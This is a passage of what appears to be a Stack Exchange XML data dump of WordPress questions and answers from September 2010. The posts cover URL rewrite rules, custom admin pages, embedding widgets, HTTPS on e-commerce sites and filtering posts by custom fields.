in url to jump to specific post...Is trailing slash the culprit?" Tags="&lt;javascript&gt;&lt;urls&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="1811" PostTypeId="2" ParentId="1810" CreationDate="2010-09-14T16:47:50.740" Score="2" ViewCount="" Body="&lt;p&gt;First, I'd recommend using &quot;&lt;a href=&quot;http://codex.wordpress.org/Using_Permalinks&quot; rel=&quot;nofollow&quot;&gt;pretty permalinks&lt;/a&gt;&quot; over the default query-string structure.  This will eliminate most of your problems from the getgo.  It will turn your &lt;code&gt;http://www.example.com/?cat=15#post-170&lt;/code&gt; urls into &lt;code&gt;http://www.example.com/category/category-slug/#post-170&lt;/code&gt; and the browser will move correctly to the post's position in the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said ... Yes, you can remove the trailing slash.  The trick is to add a rule to your &lt;code&gt;.htaccess&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#remove trailing slashes&#xA;RewriteCond %{HTTP_HOST} ^(www.)?yourdomain\.com$ [NC]&#xA;RewriteRule ^(.+)/$ http://%{HTTP_HOST}/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(This is taken from &lt;a href=&quot;http://success.grownupgeek.com/index.php/2007/04/30/drupal-help-avoid-duplicate-content/&quot; rel=&quot;nofollow&quot;&gt;a Drupal tutorial&lt;/a&gt; that does the same thing ...)&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-14T16:47:50.740" CommentCount="2" />
  <row Id="1812" PostTypeId="2" ParentId="1778" CreationDate="2010-09-14T17:05:13.937" Score="3" ViewCount="" Body="&lt;p&gt;Admin pages are basically spoken nothing else then a hook to a function, so it is technically not a problem to add your own pages without making use of the menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was not aware of an API function that allows you to register own pages with ease, but there is a helper function in Wordpress you can make use of: &lt;code&gt;get_plugin_page_hookname()&lt;/code&gt; (undocumented function). Next to that, the hook needs to be registered in a global registry of all page hooks (&lt;code&gt;$GLOBALS['_registered_pages']&lt;/code&gt;) so that it's rated valid when the page is requested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've wrapped that in some sample code, just save it into your &lt;code&gt;/wp-content/mu-plugins&lt;/code&gt; folder: &lt;a href=&quot;http://gist.github.com/579350&quot; rel=&quot;nofollow&quot;&gt;admin_page_demo.php (Wordpress MU-Plugin Example)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In there you can find a function &lt;code&gt;register_admin_page()&lt;/code&gt; that can register any callback you need per the &lt;code&gt;admin_menu&lt;/code&gt; hook. That's the important one, compare to &lt;a href=&quot;http://codex.wordpress.org/Adding_Administration_Menus&quot; rel=&quot;nofollow&quot;&gt;Adding Administration Menus (Wordpress Codex)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function returns the URL of the new admin page. You wrote that you might need to add more parameters, so I thought that might be handy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the demo page I hardcoded into that example, the URL is: &lt;code&gt;/wp-admin/options-general.php?page=adminpagedemo_demo_page&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind, that you need to check for security for that page on your own because Wordpress does not. Something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;current_user_can( ... );&#xA;wp_die( __('You do not have sufficient permissions to access this page.') );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;might be a helpful additional hint.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-09-14T17:35:32.910" LastActivityDate="2010-09-14T17:35:32.910" CommentCount="3" />
  <row Id="1813" PostTypeId="2" ParentId="1595" CreationDate="2010-09-14T17:39:20.477" Score="2" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://wordpress.stackexchange.com/questions/322/cleanup-uploads-folder-media-library-db-structure&quot;&gt;&quot;Cleanup uploads folder, Media Library db structure&quot;&lt;/a&gt; Question has some plugin suggestions that might be related - albeit not exactly that doing what you ask for. But maybe the information is useful.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-09-14T17:39:20.477" />
  <row Id="1816" PostTypeId="1" CreationDate="2010-09-14T19:08:55.957" Score="1" ViewCount="197" Body="&lt;p&gt;I have developed a JavaScript widget which works fine when I embed it in any of my html pages. The code is something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&amp;gt;&#xA;  var asset_host = 'http://domain.com';&#xA;  var url = unescape(&quot;%3Cscript src='&quot; + asset_host + &quot;/javascripts/widget.js' type='text/javascript'%3E%3C/script%3E&quot;);&#xA;  document.write(url);&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&amp;gt;&#xA;  var widget_options = {};&#xA;  widget_options.iframe_base_url =  asset_host + '/widget/questions/10';&#xA;  var feedback_widget = new ShowWidget.widget(widget_options);&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However when I embed this code in wordpress then &quot;style&quot; tag is being stripped off ( probably for security reasons).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I go about generating the widget code for wordpress so that users have least amount of inconvenience.&lt;/p&gt;&#xA;" OwnerUserId="880" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2011-01-23T14:57:24.193" LastActivityDate="2011-01-23T14:57:24.193" Title="Widget code is not working on WordPress.com Hosted Blogs" Tags="&lt;widgets&gt;&lt;wordpress.com&gt;&lt;javascript&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="1817" PostTypeId="2" ParentId="1816" CreationDate="2010-09-14T19:20:16.273" Score="0" ViewCount="" Body="&lt;p&gt;I assume you talk about widget in general sense and not &lt;a href=&quot;http://codex.wordpress.org/WordPress_Widgets&quot; rel=&quot;nofollow&quot;&gt;WordPress Widget&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In what form would you like to offer your widget to WordPress users?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;straight JS snippet might work if used in WordPress Text Widget or post/page content, but might get broken as well - most of input/output in WP is heavily scrubbed for security;&lt;/li&gt;&#xA;&lt;li&gt;you can wrap it in PHP function as snippet for &lt;code&gt;functions.php&lt;/code&gt;;&lt;/li&gt;&#xA;&lt;li&gt;you can &lt;a href=&quot;http://codex.wordpress.org/Writing_a_Plugin&quot; rel=&quot;nofollow&quot;&gt;package it as full plugin&lt;/a&gt; and offer usage as function call or &lt;a href=&quot;http://codex.wordpress.org/Shortcode_API&quot; rel=&quot;nofollow&quot;&gt;shortcode&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_enqueue_script()&lt;/code&gt;&lt;/a&gt; is mandatory reading for working with JS in WP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It all depends on how you want to handle it, your PHP skills and skills of your target WP users (the less savvy they are the more stuff you will have to take care of).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-14T19:20:16.273" CommentCount="2" />
  <row Id="1819" PostTypeId="2" ParentId="1597" CreationDate="2010-09-14T20:18:11.573" Score="2" ViewCount="" Body="&lt;p&gt;I have actually managed to resolve my own problem. For anyone else that might ever read this the problem which caused this was that my functions.php file had a closing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;?&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;at the very end. For whatever reason this is what cause the issue and by removing this last line it was working again.&lt;/p&gt;&#xA;" OwnerUserId="479" LastActivityDate="2010-09-14T20:18:11.573" CommentCount="3" />
  <row Id="1820" PostTypeId="2" ParentId="675" CreationDate="2010-09-14T21:04:12.403" Score="0" ViewCount="" Body="&lt;p&gt;What you're basically trying to do is 'trick' the RSS reader into thinking it is a different post, and not just an updated version. Unlike the WP site itself, which calls most recent version of the content from the database when someone views it, the RSS is a more 'static' version and whenever the various feed readers pull the information into the reader application, it becomes static regardless of how many times you update it again. Also keep in mind any 3rd party aggregators (such as Feedburner) are going to pull the information and then serve it from their own cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you have a few options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Change the post date and modify the permalink slug slightly on each edit to make it appear like a new item&lt;/li&gt;&#xA;&lt;li&gt;don't publish until it's ready&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;While this isn't a direct answer, I have to ask why you are wanting to do this to begin with. If you're constantly updating the same post / content, then you're defeating the use of why people subscribe to RSS to begin with. While I am sure there are reasons for doing this, I personally would unsubscribe to a site that basically blasted my reader with multiple versions of the same content.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2010-09-14T21:04:12.403" CommentCount="1" />
  <row Id="1821" PostTypeId="2" ParentId="1802" CreationDate="2010-09-14T21:08:34.800" Score="0" ViewCount="" Body="&lt;p&gt;when you say a private site, what platform is it? export file would essentially be the same, but how the new platform imports and handles the data is on their site, not WordPress.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2010-09-14T21:08:34.800" CommentCount="1" />
  <row Id="1822" PostTypeId="2" ParentId="1736" CreationDate="2010-09-14T21:15:18.883" Score="4" ViewCount="" Body="&lt;p&gt;A base WordPress installation probably won't do what you want it to. You could set up a multi-site instance and allow users to have their own 'sub' site, or use something like BuddyPress or Mingle that has a user profile feature.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2010-09-14T21:15:18.883" />
  <row Id="1823" PostTypeId="2" ParentId="1717" CreationDate="2010-09-14T22:35:34.463" Score="1" ViewCount="" Body="&lt;p&gt;You're looking for staging basically. That's not something Wordpress is very good with, but as it's PHP and MySQL, there are some tools available next to Wordpress that can help with it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://stackoverflow.com/questions/432162/does-anybody-have-a-development-staging-deploying-workflow-with-php-mysql&quot;&gt;http://stackoverflow.com/questions/432162/does-anybody-have-a-development-staging-deploying-workflow-with-php-mysql&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Staging basically means what Mike already described but it ads some sugar on top. I strongly recommend something like a build system to run stuff prior to release. Especially with Wordpress based applications, otherwise expect a lot of hand-work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The earlier you start to automate stuff (that's something I need to remind myself as well often enough), the faster you can take off.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-09-14T22:35:34.463" />
  <row Id="1824" PostTypeId="1" CreationDate="2010-09-15T01:12:23.533" Score="2" ViewCount="17" Body="&lt;p&gt;Traditionally https was only used when absolutely necessary to protect personal and vital information.  Checkout and account registration being the most common.  The major reason for a lack of broad implementation was the computational overhead that slowed down performance.  With the computational overhead no longer an issue(if you don't think so please research yourself and test, test, test), what is the proper use in today's environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I have been working on my sites I have started to come to the conclusion there is absolutely no downside to using it on the entire site for the following summarized reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) A good EV cert enhances customer confidence (a green address bar is never a bad thing)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Search engines still find your products  (submitted through feeds anyway)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Performance is not an issue any longer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) If you pay for the cert you may as well use it and get the enhanced credibility&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is my logic flawed?  Greater minds than I are on this site, looking forward to feedback.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MM/RC&lt;/p&gt;&#xA;" OwnerUserId="514" LastActivityDate="2010-09-15T01:45:31.567" Title="What is the proper use of https in a modern E-Commerce environment?" Tags="&lt;performance&gt;&lt;https&gt;" AnswerCount="1" />
  <row Id="1825" PostTypeId="2" ParentId="1824" CreationDate="2010-09-15T01:45:31.567" Score="1" ViewCount="" Body="&lt;p&gt;HTTPS has an overhead on processing power on every request - security considerations or usage pattern left aside. That's the major downturn (and that it ever was, a question of resources), so you should really ask yourself what do you want to offer to your users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's absolutely valid to SSL everything (tm) for your site. That's very user-friendly indeed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if your see for yourself as in 3), that performance is not an issue any longer, go for it! I would rate it as the major downturn, but that's mostly related to resources and traffic, so if performance is not an issue, offer HTTPS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User love TLS, it's a very well accepted principle: secure sites.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-09-15T01:45:31.567" />
  <row Id="1826" PostTypeId="1" AcceptedAnswerId="1832" CreationDate="2010-09-15T01:52:41.713" Score="0" ViewCount="76" Body="&lt;p&gt;I started using Akeeba Remote Control for Joomla and was really impressed with it.  When I went to look for something similar for Wordpress, I found these Weblog clients.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which one is the best for backing/restoring up your content? &#xA;(Existing and content that you add to the blog via the Weblog client)&lt;/p&gt;&#xA;" OwnerUserId="304" LastActivityDate="2010-11-14T06:45:34.953" CommunityOwnedDate="2010-09-15T01:52:41.713" Title="Which Blog Client for Windows/Linux has the best support for backing/restoring your posts?" Tags="&lt;backup&gt;" AnswerCount="1" />
  <row Id="1827" PostTypeId="1" AcceptedAnswerId="1838" CreationDate="2010-09-15T02:04:11.680" Score="0" ViewCount="80" Body="&lt;p&gt;i have a setup like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function form($instance) {&#xA;    $defaults = array(&#xA;        'title' =&amp;gt; 'Recent Products',&#xA;        'number_products' =&amp;gt; 3&#xA;    );&#xA;    $instance = wp_parse_args($instance, $defaults);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but my title is ok but number_products always does not show. i debuged in netbeans and found that form() is run 2 times and 1st time, variables look like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$instance = array(0)&#xA;// after wp_parse_args, &#xA;$instance = array('title' =&amp;gt; 'Recent Products', 'number_products' =&amp;gt; 3);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;on 2nd run of &lt;code&gt;wp_parse_args&lt;/code&gt;, i dont know why it runs the 2nd time, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$instance = array('title' =&amp;gt; 'Recent Products', 'number_products' =&amp;gt; null);&#xA;// after wp_parse_args&#xA;$instance = array('title' =&amp;gt; 'Recent Products', 'number_products' =&amp;gt; null);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i dont really know whats happening ... can some1 enlighten me?&lt;/p&gt;&#xA;" OwnerUserId="794" LastActivityDate="2010-09-15T08:27:02.990" Title="Widget instance options not showing correctly" Tags="&lt;plugin-development&gt;" AnswerCount="2" />
  <row Id="1828" PostTypeId="1" AcceptedAnswerId="1834" CreationDate="2010-09-15T02:08:08.957" Score="1" ViewCount="205" Body="&lt;p&gt;How can a widget which of which only one instance can be used?&lt;/p&gt;&#xA;" OwnerUserId="353" LastActivityDate="2011-03-31T19:22:26.380" Title="How Can A Widget With Only One Instance Be Defined?" Tags="&lt;3.0&gt;&lt;widgets&gt;" AnswerCount="3" />
  <row Id="1829" PostTypeId="1" CreationDate="2010-09-15T04:28:25.610" Score="0" ViewCount="66" Body="&lt;p&gt;A client would like a featured content display that looks exactly like the one here: &lt;a href=&quot;http://kroq.radio.com/&quot; rel=&quot;nofollow&quot;&gt;kroq.radio.com&lt;/a&gt;.  It's not a slideshow - it's tabbed navigation with pictures through four featured posts. As far as I can see it's just done with CSS, not JS. (Could be wrong.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started searching in the WP.org plugin repository but as I wasn't even sure what to call this thing, I felt like I wasn't making much headway. The closest thing I found to what I wanted was Slidedeck which I might go with, but if my client really wants it styled like the KROQ one (with the side arrows and such), I'm not sure if that'd be possible (and if it was I &lt;em&gt;am&lt;/em&gt; confident it'd be a huge PITA.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my questions are: 1) does anybody know of a plugin that would copy or approximate this display thingy and 2) even if you don't, what the search terms would I use to search one up?&lt;/p&gt;&#xA;" OwnerUserId="885" LastActivityDate="2010-09-15T13:28:28.967" Title="Can someone point me toward a plugin for this specific featured content display?" Tags="&lt;plugin-recommendation&gt;" AnswerCount="3" />
  <row Id="1830" PostTypeId="2" ParentId="1829" CreationDate="2010-09-15T05:13:45.050" Score="0" ViewCount="" Body="&lt;p&gt;It's a combination of HTML / CSS and jquery. I've seen a few themes that implement it (Elegant Themes being one of them, an example here: &lt;a href=&quot;http://www.elegantthemes.com/gallery/glow/&quot; rel=&quot;nofollow&quot;&gt;http://www.elegantthemes.com/gallery/glow/&lt;/a&gt;)  I don't know of any plugins off hand that do that, you'd probably have to code it.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2010-09-15T05:13:45.050" />
  <row Id="1831" PostTypeId="2" ParentId="1097" CreationDate="2010-09-15T05:17:21.097" Score="2" ViewCount="" Body="&lt;p&gt;check out EventExpresso (http://eventespresso.com/) which has both a paid and a free version. That should do everything you need it to.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2010-09-15T05:17:21.097" />
  <row Id="1832" PostTypeId="2" ParentId="1826" CreationDate="2010-09-15T06:07:04.513" Score="1" ViewCount="" Body="&lt;p&gt;It is not really direct answer to your question, but I think complete (database plus files) backup/restore is more comprehensive and important.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Content backup is only content. Database is all of your blog, which can help you go from nuked database back to normal in no time (speaking from sad practical experience, that would be much more sad without complete database backup).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would you like to keep your question about clients alone or expand it to backup/resotre in general (it's marked as community wiki so I am trying to establish scope) ?&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-15T06:07:04.513" CommunityOwnedDate="2010-09-15T06:07:04.513" CommentCount="2" />
  <row Id="1833" PostTypeId="2" ParentId="1827" CreationDate="2010-09-15T06:14:32.733" Score="0" ViewCount="" Body="&lt;p&gt;I am not sure about two runs either. Had you tried just dumping content inside function instead of debug? Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function form( $instance ) {&#xA;&#xA;    var_dump( $instance );&#xA;&#xA;    $defaults = array(&#xA;        'title' =&amp;gt; 'Recent Products',&#xA;        'number_products' =&amp;gt; 3&#xA;    );&#xA;    $instance = wp_parse_args($instance, $defaults);&#xA;&#xA;    var_dump( $instance );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-15T06:14:32.733" CommentCount="3" />
  <row Id="1834" PostTypeId="2" ParentId="1828" CreationDate="2010-09-15T06:17:14.553" Score="2" ViewCount="" Body="&lt;p&gt;Simple way would be to set some global variable on first widget run and check for it. Output nothing or informational message if it is already set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Proper way would probably be to work with interface and remove widget from available when you add it to sidebar, but that is way out of my league.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-15T06:17:14.553" CommentCount="2" />
  <row Id="1835" PostTypeId="2" ParentId="1829" CreationDate="2010-09-15T06:32:06.793" Score="0" ViewCount="" Body="&lt;p&gt;I didn't dive too deep, but it seem like it was done with &lt;a href=&quot;http://jqueryui.com/demos/tabs/&quot; rel=&quot;nofollow&quot;&gt;jQuery UI tabs&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I helped with similar layout some time ago at Hybrid forums, here is resulting post &lt;a href=&quot;http://krogsgard.com/2010/08/tutorial-wordpress-feature-posts-slider-using-jquery/&quot; rel=&quot;nofollow&quot;&gt;WordPress Feature Posts Slider Using jQuery&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the record I think it is variation of &lt;code&gt;slider&lt;/code&gt; and it is ok to call it that. &lt;code&gt;Slider&lt;/code&gt; plus &lt;code&gt;tabs&lt;/code&gt; are good keywords for search.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-15T06:32:06.793" />
  <row Id="1836" PostTypeId="1" AcceptedAnswerId="1837" CreationDate="2010-09-15T07:59:33.957" Score="0" ViewCount="61" Body="&lt;p&gt;Hay, i have a site which has been designed to only have 8 main pages across the main navigation, however these pages can have as many subpages as they want. Is there a way to limit the amount of main pages an admin can create?&lt;/p&gt;&#xA;" OwnerUserId="376" LastActivityDate="2010-09-15T08:03:20.463" Title="Limit the amount of main pages" Tags="&lt;page&gt;&lt;homepage&gt;" AnswerCount="1" />
  <row Id="1837" PostTypeId="2" ParentId="1836" CreationDate="2010-09-15T08:03:20.463" Score="1" ViewCount="" Body="&lt;p&gt;Won't it make more sense to limit number of pages that navigation displays? There are many instances when page is not wanted in navigation but still needed somewhere (I have privacy policy set up this way at my blog for example).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-15T08:03:20.463" CommentCount="1" />
  <row Id="1838" PostTypeId="2" ParentId="1827" CreationDate="2010-09-15T08:27:02.990" Score="1" ViewCount="" Body="&lt;p&gt;i finally found the answer, its actually not a problem with the code i posted. its in the &lt;code&gt;update()&lt;/code&gt; function. i have some validation code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function update($new_instance, $old_instance) {&#xA;    $instance['title'] = esc_attr(strip_tags($new_instance['title']));&#xA;    if (is_int($new_instance['number_products'])) {&#xA;        if ($new_instance['number_products'] &amp;gt; 0)&#xA;            $instance['number_products'] = $new_instance['number_products'];&#xA;        else&#xA;            $instance['number_products'] = 1;&#xA;    } else {&#xA;        $instance['number_products'] = $old_instance['number_product'];&#xA;    }&#xA;&#xA;    return $instance;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the problem is at 2 places. i should be using &lt;a href=&quot;http://www.php.net/manual/en/function.is-numeric.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;is_numeric&lt;/code&gt;&lt;/a&gt; over &lt;a href=&quot;http://php.net/manual/en/function.is-int.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;is_int&lt;/code&gt;&lt;/a&gt;, the reason is&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To test if a variable is a number or a&#xA;  numeric string (such as form input,&#xA;  which is always a string), you must&#xA;  use is_numeric().&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;then, in the else, &lt;code&gt;$old_instance['number_product']&lt;/code&gt; should have be plural &lt;code&gt;$old_instance['number_products']&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="794" LastActivityDate="2010-09-15T08:27:02.990" />
  <row Id="1839" PostTypeId="1" AcceptedAnswerId="1841" CreationDate="2010-09-15T09:46:51.847" Score="0" ViewCount="239" Body="&lt;p&gt;In my WordPress blog I have events I want to order and filter by custom fields. The order should be done by the custom field &quot;event_date_end&quot; which means that every event that is still running should be displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To order the events I use a second custom field &quot;event_date_start&quot;. So an event, that start on the 10th and ends on the 20th it should be displayed until the 20th but should be order next to all other events starting at the 10th.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Thematic as a parent theme and so I use the query_posts() function adding both rules as parameters. This is how I use it in the index loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_index_loop($content) {&#xA;    global $query_string;&#xA;    query_posts($query_string&#xA;    // filter by event_date_end&#xA;    .&quot;&amp;amp;meta_key=event_date_end&amp;amp;meta_compare=&amp;gt;=&amp;amp;meta_value=&quot;.date('Y-m-d')&#xA;    // order by event_date_start&#xA;    .&quot;&amp;amp;meta_key=event_date_start&amp;amp;orderby=meta_value&amp;amp;order=ASC&quot;); &#xA;}&#xA;add_filter('thematic_indexloop', 'my_index_loop');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the posts are correctly ordered, but also the filter will be done on the &quot;event_date_start&quot; value. So an event, that has been started yesterday and still going on, will not be displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I switch the order of the &quot;filter&quot; and &quot;order&quot; parts, I will see all events, but an event starting at the 10th and ending at the 20th will be placed to all event on the 20th.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can create queries in SQL myself, but will they work with Thematic? And how do I have to write statements for archive, category, tag listing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The solution&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After reading the mentioned pages, I found the following solution. I had to use some raw SQL and add them through filters within the specific loop filter. These are the functions I added:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_loop_where($where){&#xA;    global $wpdb;&#xA;    $where .= &quot; AND pm_where.meta_value &amp;gt;= '&quot;.date('Y-m-d').&quot;'&quot;;&#xA;    return $where;&#xA;}&#xA;&#xA;function my_loop_join($join){&#xA;    global $wpdb;&#xA;    $join .= &quot; LEFT JOIN &quot; . $wpdb-&amp;gt;postmeta . &quot; AS pm_order ON (&quot; . $wpdb-&amp;gt;posts . &quot;.ID = pm_order.post_id AND pm_order.meta_key = 'event_date_start')&quot;;&#xA;    $join .= &quot; LEFT JOIN &quot; . $wpdb-&amp;gt;postmeta . &quot; AS pm_where ON (&quot; . $wpdb-&amp;gt;posts . &quot;.ID = pm_where.post_id AND pm_where.meta_key = 'event_date_end')&quot;;&#xA;    return $join;&#xA;}&#xA;&#xA;function my_loop_order(){&#xA;    return 'pm_order.meta_value ASC';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And than I simply added filter to these functions within the e.g. index loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_index_loop($content) {&#xA;    global $query_string;&#xA;    add_filter('posts_where', 'my_loop_where' );    &#xA;    add_filter('posts_join', 'my_loop_join' );&#xA;    add_filter('posts_orderby', 'my_loop_order' );&#xA;    query_posts($query_string . &quot;&amp;amp;meta_key=event_date_end&amp;amp;meta_compare=&amp;gt;=&amp;amp;meta_value=&quot;.date('Y-m-d')/*.&quot;&amp;amp;meta_key=event_date_start&amp;amp;orderby=meta_value&amp;amp;order=ASC&quot;*/);&#xA;}&#xA;add_filter('thematic_indexloop', 'my_index_loop');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I can easily use that filter and order on the index and category loops but keep the default &quot;log style&quot; filter and orders on the archive pages.&lt;/p&gt;&#xA;" OwnerUserId="462" LastEditorUserId="462" LastEditorDisplayName="" LastEditDate="2010-09-15T16:33:52.193" LastActivityDate="2010-09-15T16:33:52.193" Title="How to order posts by one custom field and filter them by another one?" Tags="&lt;custom-field&gt;&lt;events&gt;&lt;filters&gt;" AnswerCount="1" />
  <row Id="1840" PostTypeId="1" AcceptedAnswerId="1843" CreationDate="2010-09-15T10:02:43.630" Score="0" ViewCount="1043" Body="&lt;p&gt;I have an XML data source that updates daily. Is there a plugin that will allow me to create a query and update it daily with the least programming possible and display the data on a page?&lt;/p&gt;&#xA;" OwnerUserId="890" LastActivityDate="2011-08-05T14:09:01.667" Title="XML parser plugin" Tags="&lt;plugins&gt;" AnswerCount="1" />
  <row Id="1841" PostTypeId="2" ParentId="1839" CreationDate="2010-09-15T10:17:56.680" Score="1" ViewCount="" Body="&lt;p&gt;This is not going to work, because you are setting same &lt;code&gt;meta_key&lt;/code&gt; parameter twice with different values and only one will be effective.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than building raw queries it is better to use filters to modify WP query. &lt;a href=&quot;http://codex.wordpress.org/Query_Overview&quot; rel=&quot;nofollow&quot;&gt;Query Overview&lt;/a&gt; documentation has list of hooks where you can insert your mods (as the end under &lt;em&gt;What Plugins can Modify&lt;/em&gt;).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-15T10:17:56.680" CommentCount="1" />
  <row Id="1843" PostTypeId="2" ParentId="1840" CreationDate="2010-09-15T10:33:01.877" Score="1" ViewCount="" Body="&lt;p&gt;XML as in generic XML? I mostly mess with RSS (for which WordPress has SimplePie bundled).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe &lt;a href=&quot;http://php.net/manual/en/simplexml.examples-basic.php&quot; rel=&quot;nofollow&quot;&gt;SimpleXML&lt;/a&gt; (PHP 5+, not WP specific) will do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also quick repository search found this: &lt;a href=&quot;http://wordpress.org/extend/plugins/advanced-xml-reader/&quot; rel=&quot;nofollow&quot;&gt;Advanced XML Reader&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-15T10:33:01.877" CommentCount="1" />
